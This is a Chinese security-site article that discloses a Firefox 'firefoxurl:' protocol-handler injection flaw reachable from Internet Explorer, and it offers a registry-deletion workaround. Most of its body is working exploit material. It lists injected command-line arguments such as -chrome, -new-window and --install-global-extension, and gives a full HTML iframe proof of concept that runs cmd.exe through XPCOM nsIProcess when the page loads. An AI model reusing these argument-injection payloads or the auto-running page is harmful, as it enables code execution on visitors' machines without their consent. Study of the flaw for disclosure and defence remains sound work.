首页 网络安全 安全学院 查看内容

firefox惊爆0day高危漏洞:Cross Browser Scripting

2009-2-4 10:55 716 1

摘要:
关键词: fromCharCode firefoxurl String process 漏洞 Monyer test 代码 运行 参数

来源:梦之光芒firefox惊爆高危漏洞,可执行本地程序。同时使用IE和firefox的用户请注意修复漏洞!Monyer公布的临时解决方法:把以下代码复制到运行框中运行、或保存为*.bat双击运行、或在cmd运行: reg delete "HKEY_CLASSES_ROOT\firefoxurl" /f下面我们来看看这个漏洞:FF为了使浏览用户能够在IE中调用自己,在注册表中添加了firefoxurl启动项,当连接如下列样子时,FF即会被调用(注意以下即后面代码不要随意测试,否则可能引起拒绝服务或恶循环启动): <a href='firefoxurl:'>monyer</a>而FF在注册表的启动位置是这样写的: E:\PROGRA~1\MOZILL~1\FIREFOX.EXE -url "%1" -requestPending其中%1为传入参数,即一个连接中【firefoxurl:】后面的部分。但是聪明的你应该想到:如果你通过【test"】对语句进行结束,然后再另建FF参数和XSS值的话,便可以进行XSS了,(这个过程跟SQL注入和XSS攻击的方法类似)譬如: firefoxurl:test|"%20-new-window%20javascript:alert('hello%20monyer');"-new-window为firefox的命令行参数,其他的命令行参数有:大图:/Article/UploadFiles/200707/20070712092021725.jpg这个是从mozilla社区摘来的。因此,你可以构造如下URI进行漏洞利用: firefoxurl:test|"%20-CreateProfile%20Xssniper"firefoxurl:test|"%20-new-window%20file:\\c:/monyer.txtfirefoxurl:test|"%20-console"firefoxurl:test|"%20-jsconsole"firefoxurl:test|"%20-safe-mode"firefoxurl:test|"%20--install-global-extension%2520C:\Temp\monyer.xpi"而如果我们想执行程序,可以构造如下语句: firefoxurl:test" -chrome"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process)chrome是FF的界面选项参数,FF的界面是用XUL编写的,即上面代码中chrome后面的所有代码。个人感觉XUL里面兼容了JS的部分,由于不懂XUL,这里直接拿上面这个现成的POC给大家解释一下怎样利用漏洞运行本地程序。上面代码的程序路径+程序名部分是: file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');其中92是“\”的十进制编码,这里的路径引用需要双斜杠。所以你可以把它直接替换成其他程序。一个较完整的利用程式如下: <html><body><iframe src='firefoxurl://monyer.cn" -chrome"javascript:C=Components.classes;I=Components.interfaces;file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);file.initWithPath('C:'+String.fromCharCode(92)+String.fromCharCode(92)+'Windows'+String.fromCharCode(92)+String.fromCharCode(92)+'System32'+String.fromCharCode(92)+String.fromCharCode(92)+'cmd.exe');process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);process.init(file);process.run(true,['/k%20echo%20hello%20Monyer'],1);alert(process)'></iframe>process.init(file);process.run(true,{},0);alert(process)</body></html>请注意代码中的iframe是为了自动调用,alert是为了做process的单次调用,否则即是循环!总结:由于该漏洞的危险性巨大,所以请采用Monyer公布的解决方法,该方法会去除注册表中的firefoxurl启动项,达到免疫的目的。power by monyer 2007-7-11
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋